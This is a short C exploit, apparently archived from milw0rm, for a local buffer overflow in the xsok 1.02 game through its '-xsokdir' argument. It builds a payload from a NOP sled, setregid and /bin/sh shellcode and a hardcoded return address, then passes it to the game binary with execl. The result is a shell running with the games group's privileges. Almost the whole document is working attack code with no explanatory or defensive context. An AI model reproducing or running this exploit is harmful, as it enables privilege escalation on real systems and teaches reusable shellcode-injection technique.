Xsok 1.02 - "-xsokdir" Local Buffer Overflow Game Exploit

/* 0x333xsok (2) => xsok 1.02 local game exploit * * Happy new year ! (2 :) * coded by c0wboy * * (c) 0x333 Outsiders Security Labs / www.0x333.org * */ #include <stdio.h> #include <unistd.h> #define BIN "/usr/games/xsok" #define RETADD 0xbffffa3c #define SIZE 200 unsigned char shellcode[] = /* setregid (20,20) shellcode */ "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47" "\xcd\x80" /* exec /bin/sh shellcode */ "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main (int argc, char ** argv) { int i, ret = RETADD; char out[SIZE]; fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n"); fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n"); int *xsok = (int *)(out); for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret); memset((char *)out, 0x90, 63); memcpy((char *)out+63, shellcode, strlen(shellcode)); execl (BIN, BIN, "-xsokdir", out, 0x0); } // milw0rm.com [2004-01-02]